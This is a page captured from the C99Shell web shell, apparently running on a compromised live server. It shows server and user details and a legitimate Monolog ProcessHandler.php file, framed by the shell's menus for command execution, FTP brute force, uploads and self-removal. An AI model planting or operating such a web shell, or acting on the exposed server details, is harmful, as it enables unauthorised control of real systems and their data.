!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/monolog/monolog/src/Monolog/Handler/   drwxr-xr-x
Free 28.48 GB of 117.98 GB (24.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ProcessHandler.php (5.06 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);

/*
 * This file is part of the Monolog package.
 *
 * (c) Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Monolog\Handler;

use 
Monolog\Level;
use 
Monolog\LogRecord;

/**
 * Stores to STDIN of any process, specified by a command.
 *
 * Usage example:
 * <pre>
 * $log = new Logger('myLogger');
 * $log->pushHandler(new ProcessHandler('/usr/bin/php /var/www/monolog/someScript.php'));
 * </pre>
 *
 * @author Kolja Zuelsdorf <koljaz@web.de>
 */
class ProcessHandler extends AbstractProcessingHandler
{
    
/**
     * Holds the process to receive data on its STDIN.
     *
     * @var resource|bool|null
     */
    
private $process;

    private 
string $command;

    private ?
string $cwd;

    
/**
     * @var resource[]
     */
    
private array $pipes = [];

    
/**
     * @var array<int, string[]>
     */
    
protected const DESCRIPTOR_SPEC = [
        
=> ['pipe''r'],  // STDIN is a pipe that the child will read from
        
=> ['pipe''w'],  // STDOUT is a pipe that the child will write to
        
=> ['pipe''w'],  // STDERR is a pipe to catch the any errors
    
];

    
/**
     * @param  string                    $command Command for the process to start. Absolute paths are recommended,
     *                                            especially if you do not use the $cwd parameter.
     * @param  string|null               $cwd     "Current working directory" (CWD) for the process to be executed in.
     * @throws \InvalidArgumentException
     */
    
public function __construct(string $commandint|string|Level $level Level::Debugbool $bubble true, ?string $cwd null)
    {
        if (
$command === '') {
            throw new 
\InvalidArgumentException('The command argument must be a non-empty string.');
        }
        if (
$cwd === '') {
            throw new 
\InvalidArgumentException('The optional CWD argument must be a non-empty string or null.');
        }

        
parent::__construct($level$bubble);

        
$this->command $command;
        
$this->cwd $cwd;
    }

    
/**
     * Writes the record down to the log of the implementing handler
     *
     * @throws \UnexpectedValueException
     */
    
protected function write(LogRecord $record): void
    
{
        
$this->ensureProcessIsStarted();

        
$this->writeProcessInput($record->formatted);

        
$errors $this->readProcessErrors();
        if (
$errors !== '') {
            throw new 
\UnexpectedValueException(sprintf('Errors while writing to process: %s'$errors));
        }
    }

    
/**
     * Makes sure that the process is actually started, and if not, starts it,
     * assigns the stream pipes, and handles startup errors, if any.
     */
    
private function ensureProcessIsStarted(): void
    
{
        if (
is_resource($this->process) === false) {
            
$this->startProcess();

            
$this->handleStartupErrors();
        }
    }

    
/**
     * Starts the actual process and sets all streams to non-blocking.
     */
    
private function startProcess(): void
    
{
        
$this->process proc_open($this->command, static::DESCRIPTOR_SPEC$this->pipes$this->cwd);

        foreach (
$this->pipes as $pipe) {
            
stream_set_blocking($pipefalse);
        }
    }

    
/**
     * Selects the STDERR stream, handles upcoming startup errors, and throws an exception, if any.
     *
     * @throws \UnexpectedValueException
     */
    
private function handleStartupErrors(): void
    
{
        
$selected $this->selectErrorStream();
        if (
false === $selected) {
            throw new 
\UnexpectedValueException('Something went wrong while selecting a stream.');
        }

        
$errors $this->readProcessErrors();

        if (
is_resource($this->process) === false || $errors !== '') {
            throw new 
\UnexpectedValueException(
                
sprintf('The process "%s" could not be opened: ' $errors$this->command)
            );
        }
    }

    
/**
     * Selects the STDERR stream.
     *
     * @return int|bool
     */
    
protected function selectErrorStream()
    {
        
$empty = [];
        
$errorPipes = [$this->pipes[2]];

        return 
stream_select($errorPipes$empty$empty1);
    }

    
/**
     * Reads the errors of the process, if there are any.
     *
     * @codeCoverageIgnore
     * @return string Empty string if there are no errors.
     */
    
protected function readProcessErrors(): string
    
{
        return (string) 
stream_get_contents($this->pipes[2]);
    }

    
/**
     * Writes to the input stream of the opened process.
     *
     * @codeCoverageIgnore
     */
    
protected function writeProcessInput(string $string): void
    
{
        
fwrite($this->pipes[0], $string);
    }

    
/**
     * @inheritDoc
     */
    
public function close(): void
    
{
        if (
is_resource($this->process)) {
            foreach (
$this->pipes as $pipe) {
                
fclose($pipe);
            }
            
proc_close($this->process);
            
$this->process null;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--